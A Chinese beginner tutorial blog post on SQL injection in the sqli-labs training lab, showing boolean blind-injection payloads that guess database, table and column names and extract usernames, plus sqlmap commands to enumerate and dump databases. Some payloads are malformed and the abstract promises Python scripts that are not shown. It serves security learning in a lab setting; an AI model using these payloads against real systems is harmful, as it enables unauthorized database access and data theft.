网安入门05-Sql注入(布尔盲注&SqlMap)

文章详细介绍了SQL注入中的布尔盲注方法,如利用`ascii`函数进行字符范围测试,以及如何通过`sqlmap`工具进行数据库、表名、列名等敏感信息的探测。同时提供了Python脚本示例演示了获取数据库名、表名、列名和数据脱裤的过程。

盲注

页面不提供查询成功的结果,没有显示位,以第5关为例:

布尔盲注

猜测数据库

?id=1' and length(database())=8-- -

id=1' and left(database(),1)>'a' -- - 1

id=1' and left(database(),1)>'z' -- - 0

在 a-z 之间

id=1' and left(database(),1)>'r' -- -1

id=1' and left(database(),1)>'s' -- -0

id=1' and left(database(),2)>'sa'-- -

猜测表

id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1))>111 a 是从 0 开始第几个表,b 是为第几个字符,n 是 ASCII 所对应的十进制数

第一个表 ascii(substr((select table_name information_schema.tables where tables_schema=database() limit 0,1),1,1))=101 ascii(substr((select table_name information_schema.tables where tables_schema=database() limit 0,1),1,1))=101

第二个表 ascii(substr((select table_name information_schema.tables where tables_schema=database() limit 1,1),1,1))=101

判断 user 表 http://localhost/Tkitn/sqlitest/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='user' limit 0,1),1,1))>100%23

爆出字段 http://localhost/Tkitn/sqlitest/Less-5/?id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))=68-- -

sqlmap的使用

常规:python sqlmap.py -u"127.0.0.1/sqllabs/Less-5/?id=1"

python sqlmap.py -u"127.0.0.1/sqllabs/Less-5/?id=1" --tables -D securit

Sqli - Labs靶场中使用sqlmap进行SQL盲注可按以下方法操作: #### 基本使用命令 - 判断目标URL是否存在注入点:`sqlmap -u “http://127.0.0.1/new_list.php?id=1”`,该命令通过向指定URL发送请求并分析响应,确定是否存在SQL注入漏洞 [^1]。 - 获取目标数据库管理系统中的所有数据库名:`sqlmap -u “http://127.0.0.1/new_list.php?id=1” --dbs` [^1]。 - 获取指定数据库中的所有表名:`sqlmap -u “http://127.0.0.1/new_list.php?id=1” -D “数据库名” --table` [^1]。 - 获取指定表中的所有列名:`sqlmap -u “http://127.0.0.1/new_list.php?id=1” -D “数据库名” -T “表名” --columns` [^1]。 - 获取指定表中列名的具体内容:`sqlmap -u “http://127.0.0.1/new_list.php?id=1” -D “数据库名” -T “表名” --columns --dump` [^1]。 #### 不同等级靶场的使用 - **Low等级(get型,id注入点为布尔型盲注)**:可通过sqlmap扫出版本号、数据库数量、指定数据库中的表、表中的字段以及用户名和密码等信息,还能让指定表整表输出 [^2]。 - **Medium等级(post型)**:需添加 `--data` 参数,注入点为布尔型盲注,同样可以扫出版本号、数据库信息、表信息、字段信息、用户名和密码等,使用 `--batch` 参数会采用默认设置 [^2]。 - **High等级(POStT型,id注入点为时间型盲注)**:也能扫出版本号等相关信息 [^2]。 ### 示例命令 ```python # 探测数据库列表 sqlmap -u "http://sqli-labs-php7-master/Less-1/?id=1" --dbs # 探测指定数据库中的表 sqlmap -u "http://fb693e0a-133c-46d5-9b16-47a5595a40a5.node4.buuoj.cn/Less-1/?id=1" -D ctftraining --tables # 探测指定表中的列 python sqlmap.py -u "http://sqli-labs-php7-master/Less-1/?id=1" --batch -D security -T users --columns ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

挑不动

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值